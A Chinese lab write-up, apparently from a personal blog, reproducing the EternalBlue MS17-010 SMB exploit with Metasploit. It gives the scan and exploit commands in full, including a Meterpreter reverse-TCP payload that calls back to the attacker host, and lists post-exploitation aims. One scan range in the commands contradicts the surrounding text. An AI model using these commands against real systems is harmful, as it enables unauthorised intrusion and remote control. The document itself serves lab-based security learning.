永恒之蓝 MS17-010 漏洞复现

# 永恒之蓝 MS17-010 漏洞复现

@TOC


何为永恒之蓝?


永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

一、什么是SMB协议

SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

SMB工作原理是什么?

1
2
3
4
5
6
7
1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。

2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。

4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

二、实验环境:

1.使用kali 和windows 7旗舰版(kali作为攻击主机,windows 7旗舰版作为靶机)
2.设置kali 的IP地址为自动获取,查看kali IP地址:ifconfig
可以看到kali 的IP地址是192.168.127.131
3.设置windows 7的IP地址为自动获取,查看windows 7的IP地址:ipconfig
可以看见windows 7 的IP地址为192.168.127.134

三、实验步骤:

1.测试两台主机的连通性:用kali 去Ping windows 7的主机,来测试连通性:ping 192.168.127.134 (记得关掉靶机的防火墙)
可以看见两台主机连通性良好
2.查看kali 主机数据库是否开启:service postgresql status
由上图可以看出:Active:inactive (dead)说明数据库此时是关闭的;

3.打开kali 主机的数据库: service postgresql start

4.再次查看kali 主机的数据库:service postgresql status
由上图可以看出:Active:active (exited)说明此时数据库已经打开

5.进行msfdb 数据库初始化,配置数据库相关信息:msfdb init

此时就可以进行永恒之蓝漏洞扫描,(永恒之蓝利用的是ms17_010漏洞,因此到这一步之后的任务就是在kali 里寻找ms17_010漏洞,并且利用该漏洞进行攻击,获得windows 7 的管理员权限
6.启动msf:msfconsole

这样就成功进入了msf中,(每个人每次进去都会有不同的界面出现)

7.查看数据库连接情况:在msf命令提示符下:db_status(下面的msf命令提示符也说明了已经进入了msf中)
postgresql connected to msf 说明已经成功连接到了msf
8.搜索ms17_010:search ms17_010

如果多次还是没有发现上述界面,那么有可能是kali 版本太低,没有ms17_010漏洞,所以建议安装更新版本的kali
9.使用ms17_010模块进行漏洞扫描
扫描命令:use auxiliary/scanner/smb/smb_ms17_010
攻击命令(后面使用):use exploit/windows/smb/ms17_010_eternalblue
在这里插入图片描述
10.如果不知道应该使用什么命令,则输入options来获得帮助


在此,只关注两个命令:RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描
11.设置扫描的主机或者主机段(由于靶机IP地址是192.168.127.134,因此设置扫描主机段为192.168.127.131/24):set rhosts 192.168.223.141/24;然后设置扫描线程为20;最后输入run执行扫描。
12.进行攻击:use exploit/windows/smb/ms17_010_eternalblue

1
2
3
4
5
设置攻击目标(靶机):set rhost 192.168.127.134

设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

设置监听主机(kali):set lhost 192.168.127.131

利用exploit进行攻击:exploit

①:表示永恒之蓝覆盖成功完成
②:目标主机和攻击机建立了了一个shell连接,会话为session 1
③:得到一个meterpreter会话,尝试获取shell失败
④:在meterpreter会话下输入ps就能获得目标主机的当前进程
注: meterpreter是metasploit框架中的一个扩展模块,是后渗透攻击中的杀手锏,使用meterpreter作为攻击载荷,建立连接后可以对目标系统进行更深入的渗透,meterpreter模块之后渗透攻击
到这里漏洞攻击已经成功,接下来要做的就是后渗透攻击,涉及到权限提升,跳板攻击,密码哈希值获取,获取shell以及其他更多信息
参考优秀文章如下:
永恒之蓝漏洞复现
永恒之蓝漏洞复现

总结

通过这次复现学习了不少知识 学不会的东西可以多查一查文章 多试试 有时候不知道哪里错啦 可以去问一问这方面的师父 但是通过自己来解决问题的时候 感觉是很不一样的!
附上windows7的镜像

1
2
3
链接:https://pan.baidu.com/s/1TWDS_VJO2LOqlKniR__4uA 
提取码:more
复制这段内容后打开百度网盘手机App,操作更方便哦
Prev:
学前准备
Next:
ISCC2021-Re部分题解
catalog
catalog